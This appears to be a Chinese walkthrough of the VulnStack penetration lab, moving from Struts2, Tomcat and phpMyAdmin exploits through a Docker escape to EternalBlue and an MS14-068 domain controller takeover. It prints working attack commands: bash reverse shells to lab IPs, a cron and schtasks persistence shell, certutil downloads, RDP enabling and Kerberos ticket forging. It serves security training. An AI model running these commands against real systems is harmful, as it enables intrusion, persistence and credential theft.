记一次VulnStack渗透

news2024/9/22 5:12:35

信息收集

netdiscover的主机发现部分不再详解,通过访问端口得知20001-2003端口都为web端口,所以优先考虑从此方向下手

图片

外网渗透

GetShell

Struct漏洞

访问2001端口后,插件Wappalyzer爬取得知这是一个基于Struct的web站点,直接考虑struct工具,一把梭

发现struct2漏洞,无法完整获得webshell,只有一个RCE权限,这里可以采用这种方法:

在revshell.com上生成一句话shell,ehco到文件中,然后使用bash执行,比如

0<&150-;exec 150<>/dev/tcp/192.168.253.174/4546;sh <&150 >&150 2>&150

表示向192.168.253.174的4546端口反射shell

python -c 'import pty;pty.spwn("/bin/bash")'一下子,就可以拿到root权限的shell了

Tomcat RCE

直接searchsploit,但是下载到EXP之后利用起来有点困难

tomcat的利用方式有时候有些奇怪,因为写入的webshell可能不在发布目录

图片

绝对路径是在usr/local/tomcat/webapps/ROOT/

然而shell显示的路径在/usr/local/tomcat

图片

所以一定要找好上传的webshell位置

phpMyAdmin

2003端口浏览器打开后发现是一个无需登录的phpMyAdmin管理站点

图片

这个利用方式相对困难,不能使用脚本一把梭

拿到一个SQL权限我会考虑两种技术:

  1. secure_file_priv

  2. general_log

但是发现这里的用户权限较低,无法打开日志功能,第二种方法失败:

图片

且无法写出文件,第一种方法失败:

图片

所以这里应考虑CVE,查看phpMyAdmin版本,搜索对应版本漏洞

图片

发现 cve-2018-12613 ,好嘛,本地文件包含!但是当我设置好路径exploit时,却发现:

图片

无法拿到系统的shell,后来我使用wireshark抓包分析才发现,原来msf会进行一次 POST 登录操作,而这里的PMA根本就不用登录,所以才会有这样的一个失败,因此只能手工利用,在这里我参考了

小白也可以看懂的漏洞分析(CVE-2018-12613)_Sisyphus」的博客-CSDN博客

这条文章,这里采用了一种先通过控制台查询SQL在session文件写入一句话马,然后再包含利用的方式,我也复现:

图片

那么接下来要包含的文件就是/tmp 目录下,以sess_开头pma结尾的文件了:

图片

成功!接下来直接用蚁剑连接就完成:

图片

Docker逃逸

进入系统后,要检查是否在虚拟机,或者在Docker中,Docker检查方法如下:docker环境下存在:ls -alh /.dockerenv 文件,所以检查是否存在该文件即可

docker逃逸就是从当前docke权限中逃逸出来,获得宿主机的权限。

相关知识点:(27条消息) 生命在于学习——docker逃逸_易水哲的博客-CSDN博客

这里的话,搜索文档以及大佬经验得知在特权情况下的docker可以挂载到物理机中,且该靶场只有2002的tomcat端口存在特权模式,所以只能用该方式逃逸

$ mkdir /tmp/rootdir
$ mount /dev/sda1 /tmp/rootdir
$ cd /tmp/rootdir

这样的话,就成功的进入到了宿主机器的根目录中,且权限为root

拿宿主机Shell

SSH密钥登录

那么我们可以考虑使用ssh-keygen生成密钥对,将公钥置于/root/.ssh/authorized_keys中(权限修改为只读chmod 400 *),然后使用ssh远程连接

计划任务反弹shell(*)

在计划任务里写入一个bash反弹shell的脚本:

cd /tmp
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/8888 0>&1"  >> shell.sh
chmod +x shell.sh写入crontab计划任务,表示每隔1分钟以root权限执行一次计划

然后用Kali监听即可nc -lp 8888

至此,我们成功的拿下了第一台主机web

内网渗透

信息收集

分析网络环境,经典双网卡

图片

搭建socks隧道

使用scp或者Python的http服务将ew上传到/tmp/hack目录,一定要改名!一定要改名!一定要改名!不然执行命令时会很麻烦

scp用法:

上传到远程192.168.2.105的/root/lab/test目录:

scp  -r /opt/test root@192.168.253.132:/root/lab/test

-r代表目录,如果上传普通文件则去掉参数-r

下载到本地:

scp root@vps:/root/lab/info.txt ./info.txt

这里还是使用ew,功能丰富,体积小,全平台兼容,可以搭建socks(端口转发)还可以端口映射

root@ubuntu:~/hack# ./ew -s ssocksd -l 3001&
[1] 124548
root@ubuntu:~/hack# ssocksd 0.0.0.0:3001 <--[10000 usec]--> socks server

存活探测

这里可以使用一个简单的小脚本,采用ping的方式探测

这个脚本可以说是万能脚本,用的时候注意修改网段

#!/bin/bash
for i in `seq 255`
do{
 ping -c 2 192.168.183.$i > /dev/null
 if [ $? -eq 0 ];then
  echo 192.168.183.$i is ok >> ip.txt
 fi
}&
done

然后可以查看ip.txt查看那些主机存活

192.168.183.1 is ok//物理机
192.168.183.129 is ok
192.168.183.130 is ok
192.168.183.128 is ok//web机器

那么就可以对.129.130这两台机器进行测试

永恒之蓝(稳)

对于MSF框架而言,本身就集成了代理模式,所以我们可以使用其代理进行内网渗透:

msf6> set Proxies socks5:192.168.253.132:3001
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set payload windows/meterpreter/bind_tcp
msf6> set rhost 192.168.183.129

一定要使用正向shell!反向Shell无论如何都不会成功因为目标是在内网环境

然后就会经历漫长的等待。。。和失败。。。多打几次的话就会出现奇迹

图片

最后会拿到一个meterpreter会话,但是可能是由于隧道原因,会非常不稳定!

所以我再拿到shell之后,迅速的打开了一个shell会话,使用certutil下载了提前部署在web上用python http.servernc.exe,然后使用schtasks,每分钟执行一次监听的正向shell:

schtasks /create /tn bindshell /sc minute /mo 1  /tr "nc -lp 4000 -e cmd" /ru system /f

然后就可以用web上的nc,获取到稳定的shell会话啦(可以映射到本地)

注,certutil的一些使用方法:

  • 编码(base64)

    命令:certutil -encode test.txt encode.txt

  • 编码(十六进制)

    命令:certutil -encodehex test.txt encode2.txt

  • 散列

    获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

    命令:certutil -hashfile生成指定哈希值,例如:

    certutil -hashfile test.txt md5(生成md5)

  • 下载

    命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js

至此,我们就已经非常稳定地获得了第二个主机shell权限,且为高权限

当然,这里保险的方法是用 反弹Shlle,然后在跳板机上使用端口映射到本地,例如:nc VPS_IP 4444 -e cmd ,这样就算目标机器打开了防火墙,也仍然可以接受到 shell 会话。

图片

然后我会选择改掉 administrator 账户的密码为Dotest123(这是在靶场环境,如果是真实环境,应该进行权限维持,例如影子账户,粘滞键shell等)

坎坷&踩坑&疑惑点

因为中间有事,所以拿域控的任务我是过了好久才继续进行的,然后当我过了一个月之后再次打开我的 Vmware 开始拿域控时,出现了各种乱七八糟的错误,例如net time /domain 时抛异常,IPC连接失败,Mimikatz 获取凭证乱码:

Mimikatz 乱码:

我将猕猴桃上传之后,尝试一波 sekurlsa::logonpasswords 却发现:

图片

其一,无法找到域用户,其二,获取的凭证密码有些是已经被加密的,但仍然存在本地用户(先不考虑其是否可以正常登录)

账户登录出现问题:

于是我打算直接用获取到的本地账户登录机器查看原因,却发现:

图片

通过WriteUp发现一组域账户信息:

demo\douser
Dotest123

尝试登录发现如下错误:

图片

解决方法:

这个问题我去问了大名鼎鼎的 Chat-GPT ,他给出的解释是这样的:

图片

所以我在命令行中新建了一个本地高权限用户,然后登录了本地机器重新加入了一下域,之后就一切正常啦,mimi也可以抓得到域用户凭证信息了

我觉得原因是因为太长时间不登陆,所以两台机器时间不一致,导致了域信任关系丢失,重新加入一下域即可。对于mimi抓不到抓乱码我觉得可能是因为机器账户(在每一个加入域的计算机中都有一个以“ **计算机名+$**“ 结尾的账户)的原因,抓不到域用户就是因为信任丢失的原因,所以本地也不存在域的凭证了(这里都是本人推理出来的,网上搜索说法不一,欢迎大佬共同讨论~)

拿下域控:

在问题解决之后,继续进行了渗透:

信息收集:

域控定位,由于只有129,130两个机器,而且129已被拿下,所以猜测130就是域控:

图片

图片

接下来我喜欢打开目标的3389端口,然后在桌面上进行操作

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#打开3389端口
net localgroup "Remote Desktop Users" demo\douser /add
#给域用户添加登录权限

然后就可以开开心心的使用远程登录啦

图片

我们拿到的是普通域用户权限,应该查看一下域控:

图片

管理员:

图片

MS14-068提升域用户权限:

我们这里拿到了一个域用户权限之后可以提取出有用的信息,如SID,口令,用户名,域全名等,因此可以利用ms14-068工具生成票据然后利用mimikatz导入:

图片

ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d WIN-ENS2VR5TR3N.demo.com

注意这里一定要使用DC的全名:WIN-ENS2VR5TR3N@demo.com

否则生成会生成错误:

图片

这里是正确的结果:

图片

然后用mimikatz导入

图片

当显示这个效果的时候证明票据导入成功,此时我们可以使用 psexec 进行连接,

图片

成功!至此,我们终于拿下了域控机器

修改管理员密码,登录DC

图片

接下来还可以进行一些维权操作,当然,由于本次演示环境是靶场,便不再进行维权和痕迹清理

总结

本次靶场环境外网渗透相对比较简单顺利,且解题思路不止一种。通过三种方式都可以getshell,重要的是如何逃逸docker拿到宿主机的shell

内网环境除了拿域控稍有难度外,其他操作也是思路紧凑,合情合理,不过由于是内网渗透,所以牵扯到的知识点可能更多,更杂乱,但是总体不算难,多一些耐心还是可以成功的。这次内网渗透强化了我对kerberos的一些认识,大有收获。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1436749.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浅谈bypass Etw

文章目录 c#ExecuteAssemblybypass etw c# loader 一种是通过反射找到指定空间的类中method进行Invoke 另一种是通过EntryPoint.Invoke加载 反射加载 Assembly.Load()是从String或AssemblyName类型加载程序集&#xff0c;可以读取字符串形式的程序集 Assembly.LoadFrom()从指定…

记录下Flybirds移动端ui自动化框架的搭建

一、参考文档 1.官方文档&#xff1a;携程机票跨端跨框架 BDD UI 自动化测试方案Flybirds — flybirds v0.1.5 文档 2.Flybirds运行环境&#xff1a;Flybirds运行环境 - 简书 3.Windows系统连接IOS安装tidevice&#xff1a;iOS自动化之tidevice-CSDN博客 二、Windows系统演…

Nacos注册中心和服务发现

Nacos注册中心 01 认识和安装Nacos Nacos比Eureka功能更为丰富&#xff0c;是SpringCloud中的一个组件&#xff0c;Nacos是阿里巴巴的产品&#xff0c;在国内更流行。 NACOS功能&#xff1a;服务发现&#xff08;对标Eureka)、配置管理、服务管理 下载见&#xff1a;D:\zwx\…

【EI会议征稿通知】第三届智能控制与应用技术国际学术会议(AICAT 2024)

第三届智能控制与应用技术国际学术会议&#xff08;AICAT 2024&#xff09; 2024 3rd International Symposium on Artificial Intelligence Control and Application Technology 2024年第三届智能控制与应用技术国际学术会议&#xff08;AICAT 2024&#xff09;定于2024年5月…

jquery写表格,通过后端传值,并合并单元格

<!DOCTYPE html> <html> <head><title>Table Using jQuery</title><style>#tableWrapper {width: 100%;height: 200px; /* 设置表格容器的高度 */overflow: auto; /* 添加滚动条 */margin-top: -10px; /* 负的外边距值&#xff0c;根据实际…

BT656视频传输标准

前言 凡是做模拟信号采集的&#xff0c;很少不涉及BT.656标准的&#xff0c;因为常见的模拟视频信号采集芯片都支持输出BT.656的数字信号&#xff0c;那么&#xff0c;BT.656到底是何种格式呢&#xff1f; 本文将主要介绍 标准的 8bit BT656&#xff08;4:2:2&#xff09;YCbC…

时间序列预测 —— DeepAR 模型

时间序列预测 —— DeepAR 模型 DeepAR 模型是一种专门用于处理时间序列概率预测的深度学习模型&#xff0c;它可以自动学习数据中的复杂模式&#xff0c;提高预测的准确性。本文将介绍 DeepAR 模型的理论基础、优缺点&#xff0c;并通过 Python 实现单步预测和多步预测的完整…

git整合分支的两种方法——合并(Merge)、变基(Rebase)

问题描述&#xff1a; 初次向git上传本地代码或者更新代码时&#xff0c;总是会遇到以下两个选项。有时候&#xff0c;只是想更新一下代码&#xff0c;没想到&#xff0c;直接更新了最新的代码&#xff0c;但是自己本地的代码并没有和git上的代码融合&#xff0c;反而被覆盖了…

坚持刷题 | 二叉树的直径

文章目录 题目考察点代码实现实现总结方便用迭代的方式实现吗&#xff1f;迭代实现迭代实现总结 Hello&#xff0c;大家好&#xff0c;我是阿月。坚持话题&#xff0c;老年痴呆追不上我&#xff0c;今天还有时间&#xff0c;那就再来一题吧&#xff1a;二叉树的直径 题目 543.…

子集枚举介绍

集合枚举的意思是从一个集合中找出它的所有子集。集合中每个元素都可以被选或不选&#xff0c;含有n个元素的集合总共有个子集&#xff08;包括全集和空集&#xff09; 例如考虑集合和它的4个子集、、、&#xff0c;按照某个顺序&#xff0c;把全集A中的每个元素在每个子集中的…

Visual Studio 2010+C#实现信源和信息熵

1. 设计要求 以图形界面的方式设计一套程序&#xff0c;该程序可以实现以下功能&#xff1a; 从输入框输入单个或多个概率&#xff0c;然后使用者可以通过相关按钮的点击求解相应的对数&#xff0c;自信息以及信息熵程序要能够实现马尔可夫信源转移概率矩阵的输入并且可以计算…

计算机网络-差错控制(纠错编码 海明码 纠错方法)

文章目录 纠错编码-海明码海明距离1.确定校验码位数r2.确定校验码和数据的位置3.求出校验码的值4.检错并纠错纠错方法1纠错方法2 小结 纠错编码-海明码 奇偶校验码&#xff1a;只能发现错误不能找到错误位置和纠正错误 海明距离 如果找到码距为1&#xff0c;那肯定为1了&…

鸿蒙开发-UI-组件导航-Tabs

鸿蒙开发-UI-组件 鸿蒙开发-UI-组件2 鸿蒙开发-UI-组件3 鸿蒙开发-UI-气泡/菜单 鸿蒙开发-UI-页面路由 鸿蒙开发-UI-组件导航-Navigation 文章目录 一、基本概念 二、导航 1.底部导航 2.顶部导航 3.侧边导航 4.导航栏限制滑动 三、导航栏 1.固定导航栏 2.滚动导航栏 3…

莉莉与神奇花朵的冒险

现在&#xff0c;我将根据这些步骤编写一个对话形式的童话故事。 在很久很久以前的一个小村庄里&#xff0c;有一个勤劳善良的小女孩叫莉莉。她住在一间小茅屋里&#xff0c;和她的奶奶一起生活。奶奶年纪大了&#xff0c;行动不便&#xff0c;所以莉莉每天都要照顾她。 一天&a…

【多模态大模型】跨越视觉-语言界限:BLIP的多任务精细处理策略

BLIP 核心思想MED架构和CapFilt方法效果 总结CLIP模型 VS BLIP模型CLIP模型BLIP模型 核心思想 论文&#xff1a;https://proceedings.mlr.press/v162/li22n/li22n.pdf 代码&#xff1a;https://github.com/salesforce/BLIP BLIP&#xff08;Bootstrapping Language-Image Pre…

win11安装MySql5.7

1、下载 打开下载链接&#xff1a;MySQL :: Download MySQL Installer 2、安装 2.1、安装界面 2.2、选择自定义安装 2.3、根据自己系统的位数进行选择是X64还是X86 2.4、选择安装路径 2.5、继续下一步 2.6、选择服务器专用&#xff0c;端口是3306 2.7、设置密码 2.8、设置服…

python函数入参、类成员引用支持灵活参数可配

一、背景 python编码时&#xff0c;有可能在不同场景下输入修改的参数&#xff0c;不方便直接写死&#xff0c;因此需要灵活配置这些函数入参&#xff0c;类成员 二、函数入参支持灵活可配 场景&#xff1a;如下场景&#xff0c;对于hello函数&#xff0c;不同场景下想要对不…

async/await使用过程中,要注意的问题

问: const getData async () >{ console.log(触发了getData接口) let resultData await getActivityInfo(activityId); console.log(resultData,resultData) let id resultData.id; let shareImg resultData.shareImg let shareSubtitle resultData.shareSubtit…

T-Sql 也能更新修改查询JSON?

今天看见一个澳洲项目里面使用了 JSON_VALUE 这样的函数解析 JSON 我倍感诧异&#xff0c;我印象当中Sql Server并不支持JOSN的相关操作&#xff0c;他最多只把JSON当成一个字符串来存储&#xff0c;更不要说去解析&#xff0c;查询和更新了 我随后查询了下此函数&#xff0c;…

美颜SDK是什么?探秘直播美颜SDK在视频社交平台中的应用

当今&#xff0c;美颜SDK正扮演着改变用户体验的“角色”&#xff0c;本篇文章&#xff0c;小编将为大家讲述美颜SDK的概念、原理以及在视频社交平台中的广泛应用。 一、什么是美颜SDK&#xff1f; 美颜SDK是一套软件工具包&#xff0c;提供了一系列美颜算法和功能&#xff…